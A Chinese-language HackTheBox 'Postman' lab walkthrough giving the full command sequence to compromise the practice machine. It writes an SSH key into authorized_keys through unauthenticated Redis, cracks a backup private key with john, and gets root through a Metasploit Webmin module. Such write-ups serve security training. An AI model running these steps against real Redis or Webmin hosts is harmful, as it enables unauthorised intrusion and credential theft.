目錄
HTB - Postman
[1]偵察和枚舉
[1.1]開放的端口
- 使用nmap掃描並蒐集開放端口以及有用的信息
root@kali:~/HTB/Postman# nmap -sC -sV -p- -oA nmap/Postman 10.10.10.160
我們可以發現:
- 具有已知漏洞的默認SSH端口上的OpenSSH 7.6p1服務器,該漏洞允許枚舉用戶名
- 一個Apache 2.4.29默認的HTTP端口
- 6379端口上的Redis 4.0.9服務器
- 10000端口上的Webmin 1.910
[1.2]Web發現
在瀏覽器搜索框輸入靶機的IP的之後,我們發現一個正在建設的靜態網站
[1.3]Redis
Redis是一個內存中的數據結構,通常用作數據庫或者緩存。4.0.9版本存在許多的公共漏洞。客戶端redis-cli可以用於與服務器通信。該服務不受保護,無需進行身份驗證即可訪問。
- 使用telnet檢查是否沒有密碼驗證
root@kali:~/HTB/Postman# telent 10.10.10.1600 6379
可以發現並不需要密碼驗證。
[1.4]Webmin
Webmin是用於基於Unix的系統的基於Web的系統配置工具。此處使用的版本具有2個帶有Metasploit模塊的HIGH / CRITICAL漏洞。一個是後門,可用於重置管理員密碼。但是,它要求啓用密碼更改功能,在這裏不是這種情況。
[2]獲得訪問權限
[2.1]創建公鑰
既然我們知道Redis的工作原理是不要求任何的身份驗證,我們可以利用這個漏洞獲得訪問的權限。但首先我們需要創建一個SSH密鑰,這樣子我們才能進入機器。
- 使用ssh-keygen創建SSH密鑰
root@kali:~/HTB/Postman# ssh-keygen -t rsa
創建好了之後我們下一步就是準備將 它存儲到內存之中。由於內存轉儲中也將包含垃圾,因此我們在密鑰周圍使用換行符,並且保存在foo.txt中,以便我們更好的守護我們的SSH密鑰。
- 守護SSH密鑰
root@kali:~/HTB/Postamn# (echo -e "\n\n"; cat keys.pub; echo -e "\n\n") > foo.txt
[2.2]發佈密鑰
root@kali:~/HTB/Postman# redis-cli -h 10.10.10.160 flushall
root@kali:~/HTB/Postman# cat foo.txt | redis-cli -h 10.10.10.160 -p 6379 -x set s-key
當返回的結果爲OK的時候,我們就成功的發佈了我們的密鑰(foo.txt).接下來就是配置了。
[2.3]獲取Redis命令行-將密鑰插入到內存之中
我們現在需要將s-key(SSH密鑰)存儲到 .ssh 文件夾中,以便我們可以遠程SSH登錄到目標計算機。
- 獲取Redis命令行界面
root@kali:~/HTB/Postman# redis-cli 10.10.10.160 -p 6379
- 查看Redis的工作目錄、創建我們用有的權限.ssh內部/var/lib/redis。將名稱更改爲authorized_keys和save
10.10.10.160:6379> CONFIG GET dir
10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
10.10.10.160:6379> CONFIG SET dbfilename "authorized_keys"
10.10.10.160:6379> save
[2.4]使用SSH登錄獲得訪問權限
- 登錄
root@kali:~/HTB/Postman# ssh -i keys [email protected]
[3]本地偵察和枚舉
成功登錄到目標機之後,接下來就是尋找一些有用的東西
- 使用history查看歷史命令
redis@Postman:~$ history
我們管理員訪問了兩個文件,scan.py和id_rsa.bak,其中一個可能是SSH私鑰的備份。scan.py是不能通過Redis訪問權限找到它,但是私鑰受到的保護很弱,並且可以被全世界範圍給讀取到~~所以我們針對id_rsa.bak下手。
redis@Postman:~$ find /-name "id_rsa.bak" -ls
可以發現id_rsa.bak文件的所在目錄在**/opt/**下。
[4]特權提升
[4.1]用戶透視
使用cat查看id_rsa.bak,會發現它是加密的
redis@Postamn:/opt$ cat id_rsa.bak
將私鑰複製粘貼到我們的工作目錄上的matt2john,使用john進行破解。
- 破解RSA私鑰
root@kali:~/HTB/Postamn# python ssh2john matt2john > matt2john-pass
root@kali:~/HTB/Postamn# john matt2john --wordlist=/usr/share/wordlists/rockyou.txt
ssh2john的目錄在/usr/share/john/ssh2jon.py
破解了RSA知道了密碼爲“computer2008”,現在可以使用這個密碼登錄Matt`
redis@Postamn:~$ su Matt
登錄之後到**/home/Matt**目錄下找到完成Postman的提交密鑰。
如果只是爲了完成Postman到這邊就完成了,下面是獲得root的方法。
[4.2]升級爲root
我啓動了metasploit並搜索了相關的漏洞利用程序。
- 查找漏洞
root@kali:~/HTB/Postman# searchsploit webmin 1.910
- 進入metasploit控制檯進行配置
root@kali:~/HTB/Postman# msfconsole
msf5> use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set usename Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost tun0
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
- 運行
可以看到我們成功的獲得了root!
I got Root~!